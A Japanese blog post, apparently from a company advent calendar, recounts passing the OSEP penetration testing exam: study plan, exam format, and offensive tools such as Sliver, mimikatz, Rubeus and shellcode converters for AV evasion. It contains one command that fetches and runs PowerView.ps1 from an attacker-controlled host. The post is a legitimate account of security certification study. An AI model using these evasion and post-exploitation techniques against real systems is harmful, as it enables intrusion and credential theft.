3
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【合格体験記】クリスマスプレゼントはOSEP!?

Last updated at Posted at 2025-12-24

これは ZOZO Advent Calendar 2025 カレンダーVol.6の25日目の記事です。昨日の投稿は@kurakura0916さんでした。

はじめに

2025年12月にOSEP(Offensive Security Experienced Penetration Tester)を取得することが出来たので、これはその合格体験記です!
最高のクリスマスプレゼントだぜ!
G8PwyX4a0AArRc6.png

OSEPとは

OSEPOffsecが提供しているペネトレーションテストの認定資格です。
AV(アンチウィルス)、AppLockerなどの防御機構やその検出を回避をしつつ、WindowsおよびLinuxを含むActive Directory環境などをペネトレーションテストできる高度な攻撃手法に焦点を当てています。

OSCPの上位に当たる資格ですね。

筆者の受講前のスキル感

自分はSOC業務に従事しており、たまにペネトレーションテスト、たまにマルウェア解析といった業務を行っております。資格としては以下のものを持っています。

  • Zero2Automated
  • OSCP(Offensive Security Certified Professional)
  • CARTP(Certified by Altered Security Red Team Professional for Azure)
  • 情報処理安全確保支援士
  • MS認定 SC-200(Security Operations Analyst Associate)

PEN-300

OSEPでは試験以外にも様々なコンテンツがあります。
PEN-300というトレーニングコースではテキスト(PDF出力可能)やその実演ビデオ、再現するための各種Labなどが存在します。
Challenge Labsでは8つのラボがあり腕試しできます。個人的見解ですが1-4辺りまではLabの要素の復習。5-6はちょっとした応用。7-8は実際の試験に則した内容なのかなといった感じでした。
7くらいまで対応できればある程度試験は出来るんじゃないかな?といった感覚です。

学習スケジュール

9月ごろにOSEPの学習を開始しました。詳細は以下です。

時期 内容
9月前半 テキストを読む。
マルウェア解析で培った知見があったので10章辺りまで流し読みしていました。
9月後半 自身の環境でWindows Defenderの検証。
ここらでToolを作成していきました。テキストは.NETを使ったものが大半でしたが、自分はGolangやCでやってました。
あまりLab自体は利用しませんでした。
10月-11月前半 Challenge Labsをひたすらやってました。
11月後半-12月初旬 Hack the Boxのシーズン9でWindwos攻略修行。
内なるWindows許さないマンを鍛え上げてました。
C2フレームワーク(Sliver)の習熟もここらで固めてましたね。
12月中旬 実技試験

試験

概要

15分の試験前準備があり、その後47時間45分でsecret.txt、または侵害最中に取得できる各10ポイントのlocal.txt, proof.txtを合計100ポイント以上取得する必要があります。完全に実技形式で、フラグが取れるか取れないかが合否に直結します。
実技の48時間が完了後には24時間以内に詳細なレポートを提出する必要があります。不備があれば原点となります。

実技の間は試験監督による監視が行われます。この点はOSCPと同様です。
結構ハードな試験でした。
詳しくは以下のExam Guideを参照ください。

実際の実技試験中

試験開始から大体6時間ほどで合格点となるフラグは取り終えていました。
そこから着実に追加となるフラグを取得していき、行けそうなlocal.txtproof.txtは7時間経過時点でほぼほぼ取り終えていました。

安心したので寝ても良かったのですが、内なる敗北許さないマンがsecret.txt取るまで寝れま10を発動したので、意地でもsecret.txtを取ることを目標にド粘りGo Go Hackingを開始しました。

激闘の末、大体10時間経過時点でsecret.txtを取得できました。
HackTheBoxでの武者修行が活きた瞬間でした!粘り勝ちです。取れた瞬間はモンエナを握りつぶした記憶があります。

レポート

レポートを作成する前に一旦睡眠し、翌日スクショの漏れがないか確認して試験開始から18時間ほどで実技を終了しました。
レポート作成はそこから13時間かけて作成したので、実際に手を動かした期間はレポートの方が多かった気がします。ほぼ全部のマシンの攻略手順を書いていたので枚数も108ページとなり超大作となりました。

以下の作成Toolをローカルで起動し、レポート作成をしていました。

レポートまじ辛かった…

合格通知

レポート提出から土日挟んで1日後くらいにプレゼントが届きました。
(あの大量のレポート読むの大変だったと思います。申し訳。。。)

利用するといいTool

ここではLabなどで実際によく利用していたTool群を紹介しようと思います。

Bloodhound

必須と言っていいToolです。
最近CEになった影響でbloodhound-pythonbloodhound-ce-pythonになりました。こっちを使いましょう。古い奴はdomains.jsonでエラー吐きます。

NetExec

よく利用していました。smbやldapのオプションはとても重宝します。

Ligolo-ng

これも良く利用してました。chisel使ってた人はこれ使ってみると使いやすさに驚くかも?

impacket

必須Toolですね。最近はKaliにてimpacket-dacleditコマンドがデフォで打てるようになってるのでAbuse DACLsがやりやすいです。

bloodyAD

Abuse DACLsするならこれですね。楽です。

Sliver

C2フレームワークはこれを使ってました。かっちょいい!
これのexecute-shellcode, execute-assembly, mimikatz, rubeus, sharpupコマンドには助けられてました。
これ経由である程度Post-Exploitしてました。

donut

これで.NETシェルコードを作ってSliverのexecute-shellcodeに食わせてました。
Sliverコマンドの文字列制限があったりするので、Rubeusのチケット長文Exploitはこれで何とかしてました。
ligoloもこれ経由でSliverに突っ込んでました。

Rubeus

言わずもがな、チケット悪用マンですね。
PTTするときはこのcreatenetonlyで作ったProcessにSliver migrateしてました。
Sliverにrubeusコマンドもあるのでそちらを主に使ってました。

mimikatz

最強Toolです。SYSTEM取れたら迷わずSliver経由でmimikatzコマンド打ってました。

GodPotato

Sliverのexecute-assemblyで注入される君

sharpsh

Sliver経由でPrivescCheck.ps1などのInvoke系PSコマンドを実施するときに使ってました。
使いたいPSをさっと実行できるので楽です。以下ドメイントラスト見るときとか楽でした。

Sliver
sharpsh -- -u http://[KALI IP]/PowerView.ps1 -c \"Get-DomainTrustMapping\"

その他自作Tool

既存以外にどういったToolを用意していたか簡単に紹介します。

Shellcodeコンバータ

大体SliverのShellcodeを打ち込んでいたのですが、Labなどでは色々な形式で打ち込む必要があります。
試験中に色々な形式へShellcodeを変換できるように以下の様なPythonツールを自作していました。

# shellcodeをaspxのupload経由で侵害できるようにするTool
python3 shell_to_aspx.py shellcode.bin

# shellcodeをRC4エンコードして別途GOBuildできるようにコード化するTool
## Golangは再利用が楽でいいね。
python3 shell_to_rc4_go.py shellcode.bin

# shellcodeをps経由で実行できるようにするTool
python3 shell_to_ps1.py shellcode.bin

# shellcodeをVBA経由で実行できるようにするTool
python3 shell_to_vba.py shellcode.bin

即座に対応できてとても楽にカタカタしてました。

Loader

SliverのShellcodeをProcess Injectionなどを通してロードするGo言語のローダを複数のInjection形式で用意していました。コマンド引数を受けて実行するローダだとやり易いかもしれませんね。

C#の場合は以下のリポジトリが参考になると思います。

(別にエンコードしなくてもShellcodeをLoadする方法は色々あるので試してみるといいかなと思います。)

参考になった書籍やブログ、サイトなど

ここでは参考になった書籍やブログを紹介したいと思います。

ミミミミミッミ

Allsafeさんの王道書籍。これぞ王道!

ドカ食いダイスキ!バイパスさん

バイパスドカ食いこれ一本!Allsafeさんの書籍は当たりしかありません。

かえるのほんだな

AMSIやAVの理解に役立ちます

MalDev Academy

image.png
これがあるだけでOSEPの前半の理解度がダンチになること間違いないと思います。

HTB Academy

Tier3のモジュールは役立つと思います。OSEPより細かいところを補完してくれます。
特に役立ったModuleを以下に記載します。

  • Kerberos Attacks
  • Active Directory Trust Attacks
  • DACL Attacks I
  • DACL Attacks II

Shooting!!!

以下2本凄く為になりました。
2つ取り上げましたが、他のBlog記事も見てみるといいと思います。

OSEP合格体験記

色々読みました、先人の皆さんありがとうございます。

最後に

OSEPを受けてみて実在の環境に近い形の試験かなと感じました。結構役立つ場面が多いと思います。
その分、武器を準備しないと厳しい試験かなとも感じました。その場でパッとコーディングするのもいいかもしれませんが、コーディングに意識が取られるのでお勧めしません。昨今はAIがあるので事前にAIをしっかり活用して武器は溜めましょう!!

また、Bypassを検証するために実際にWindows環境をLab以外に用意しておいた方がいいなと思いました。OSEPで刺さった手法が実際に本業務で刺さるとは限らないので。

マルウェア解析の知見が存分に活きた試験だったので、意外とBlue寄りの人はOSCPより取っつきやすいかもなとか思ったりしてます(スラスラ頭に入ってくる)。

最高のクリスマスプレゼントをありがとうございましたOffsec!
めちゃくちゃ楽しかった。バイパスドカ食いきもちぃいい!

あ、メリークリスマス!良いお年を?!

3
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?